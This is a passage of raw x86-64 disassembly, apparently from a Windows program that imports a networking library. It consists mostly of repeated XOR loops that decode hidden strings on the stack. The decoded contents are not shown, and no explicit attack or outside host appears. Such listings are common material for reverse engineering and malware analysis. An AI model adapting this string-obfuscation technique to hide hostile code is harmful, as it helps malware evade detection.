movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x333], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x334], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x335], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x336], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x337], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x338], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x339], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33a], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33b], al
add rcx, 0x1b
cmp rcx, 0x51
jb 0x140051d60
mov byte [rsp + 0x372], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0xc0], xmm1
lea rax, [rsp + 0x321]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140051f34
lea rdx, [rsp + 0x321]
lea rcx, [rsp + 0xb0]
call fcn.140007560
nop
mov rdx, qword [rsp + 0x3a8]
cmp rdx, qword [rsp + 0x3b0]
je 0x1400520e5
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x1402ce180]
movdqa xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0x90], 0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0xc0]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x1402ce180]
movdqa xmmword [rsp + 0xc0], xmm0
mov byte [rsp + 0xb0], 0
add qword [rsp + 0x3a8], 0x40
jmp 0x1400520fb
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x90]
call fcn.140055e20
mov r9, rax
lea rdx, [rax + 1]
lea r8, [rax + 3]
mov rbx, 0xfffffffffffffffd
sub rbx, rax
nop word [rax + rax]
lea rcx, [r8 + rdx]
movzx eax, byte [r9]
xor byte [rcx + rbx], al
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [r8 + rbx]
cmp rax, 0x45
jae 0x140055712
nop dword [rax]
jmp 0x140052010
lea r8, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.1400659a0
nop
lea rcx, [rsp + 0xb0]
call fcn.140003d00
lea rcx, [rsp + 0x90]
call fcn.140003d00
movdqa xmm0, xmmword [0x1402ce630]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [str.ons_Regular.ttf]
movdqu xmmword [rsp + 0x60], xmm1
mov rdx, qword [0x1402f8928]
lea rax, [rsp + 0x51]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052140
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x14005537c
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x90]
call fcn.140027b80
nop
movdqa xmm0, xmmword [0x1402ce4c0]
movdqa xmmword [rsp + 0x320], xmm0
movdqa xmm1, xmmword [0x1402ce540]
movdqa xmmword [rsp + 0x330], xmm1
movdqa xmm0, xmmword [0x1402ce800]
movdqa xmmword [rsp + 0x340], xmm0
movdqa xmm1, xmmword [0x1402ce850]
movdqa xmmword [rsp + 0x350], xmm1
movdqa xmm0, xmmword [0x1402ce670]
movdqa xmmword [rsp + 0x360], xmm0
mov word [rsp + 0x370], 0x7765
mov byte [rsp + 0x372], 0
mov rcx, r12
nop word [rax + rax]
movzx eax, byte ds:[rsp + 0x320]
xor byte [rsp + rcx + 0x321], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x322], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x323], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x324], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x325], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x326], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x327], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x328], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x329], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32a], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32b], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32c], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32d], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32e], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32f], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x330], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x331], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x332], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x333], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x334], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x335], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x336], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x337], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x338], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x339], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33a], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33b], al
add rcx, 0x1b
cmp rcx, 0x51
jb 0x140052200
mov byte [rsp + 0x372], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0xc0], xmm1
lea rax, [rsp + 0x321]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400523d4
lea rdx, [rsp + 0x321]
lea rcx, [rsp + 0xb0]
call fcn.140007560
nop
mov rcx, qword [rsp + 0x3a8]
cmp rcx, qword [rsp + 0x3b0]
je 0x140052422
lea rdx, [rsp + 0x90]
call fcn.140068540
add qword [rsp + 0x3a8], 0x40
jmp 0x14005243b
lea r8, [rsp + 0x90]
mov rdx, rcx
lea rcx, [rsp + 0x3a0]
call fcn.1400659a0
nop
lea rcx, [rsp + 0x90]
call fcn.140017c20
lea rdx, [rsp + 0x50]
call fcn.140055ed0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
mov byte [r8 + 0x1e], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.140055f10
mov r9, rax
lea rdx, [rax + 1]
lea r8, [rax + 3]
mov rbx, 0xfffffffffffffffd
mov r10, rbx
sub r10, rax
nop
lea rcx, [rdx + r10]
movzx eax, byte [r9]
xor byte [rcx + r8], al
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
lea r8, [r8 + 0x1b]
lea rax, [r10 + r8]
cmp rax, 0x51
jb 0x1400524f0
mov byte [rdx + 0x51], 0
lea rcx, [rsp + 0xb0]
call fcn.140007520
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x90]
call fcn.140017c20
lea rdx, ds:[rsp + 0x90]
call fcn.140055fb0
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140056000
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea rdx, ds:[r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
lea r8, [r8 + 0x1c]
lea rax, [r10 + r8]
cmp rax, 0x54
jb 0x1400526d0
mov byte [r11 + 0x54], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, [rsp + 0x50]
call fcn.1400560a0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
mov byte [r8 + 0x17], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.1400560e0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
movzx eax, byte [r9]
xor byte [r8 + 0x1f], al
movzx eax, byte [r9]
xor byte [r8 + 0x20], al
movzx eax, byte [r9]
xor byte [r8 + 0x21], al
movzx eax, byte [r9]
xor byte [r8 + 0x22], al
lea r8, [r8 + 0x25]
lea rax, [r10 + r8]
cmp rax, 0x4a
jb 0x140052890
mov byte ds:[r11 + 0x4a], 0
mov rdx, r11
lea rcx, [rsp + 0xb0]
call fcn.140007520
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x90]
call fcn.140017c20
lea rdx, [rsp + 0x660]
call fcn.140056170
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
mov byte [r8 + 7], 0
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140024e30
nop
lea r8, [rsp + 0x3f8]
mov rdx, rax
lea rcx, [rsp + 0x320]
call fcn.140024f20
nop
lea rdx, [rsp + 0x90]
call fcn.140056190
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x3a
jb 0x140052a80
mov byte [r11 + 0x3a], 0
lea r8, [rsp + 0x3f8]
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.140024c80
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
nop
lea rcx, [rsp + 0x50]
call fcn.140003d00
lea rdx, [rsp + 0x50]
call fcn.140056200
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
mov byte [r8 + 0x18], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.140056240
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
lea r8, [r8 + 0x19]
lea rax, [r10 + r8]
cmp rax, 0x4b
jb 0x140052c60
mov byte [r11 + 0x4b], 0
mov rdx, r11
lea rcx, [rsp + 0xb0]
call fcn.140007520
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x90]
call fcn.140017c20
lea rdx, ds:[rsp + 0x70]
call fcn.1400562d0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
mov byte [r8 + 0x12], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.140056300
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r8 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r10], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [r8 + r10]
cmp rax, 0x45
jb 0x140052e00
mov byte ds:[r11 + 0x45], 0
mov rdx, r11
lea rcx, [rsp + 0xb0]
call fcn.140007520
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x90]
call fcn.140017c20
lea rdx, [rsp + 0x70]
call fcn.1400563a0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
mov byte [r8 + 0x15], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.1400563d0
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, ds:[r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
movzx eax, byte [r9]
xor byte [r8 + 0x1f], al
movzx eax, byte [r9]
xor byte [r8 + 0x20], al
movzx eax, byte [r9]
xor byte [r8 + 0x21], al
lea r8, [r8 + 0x24]
lea rax, [r8 + r10]
cmp rax, 0x48
jb 0x140052f90
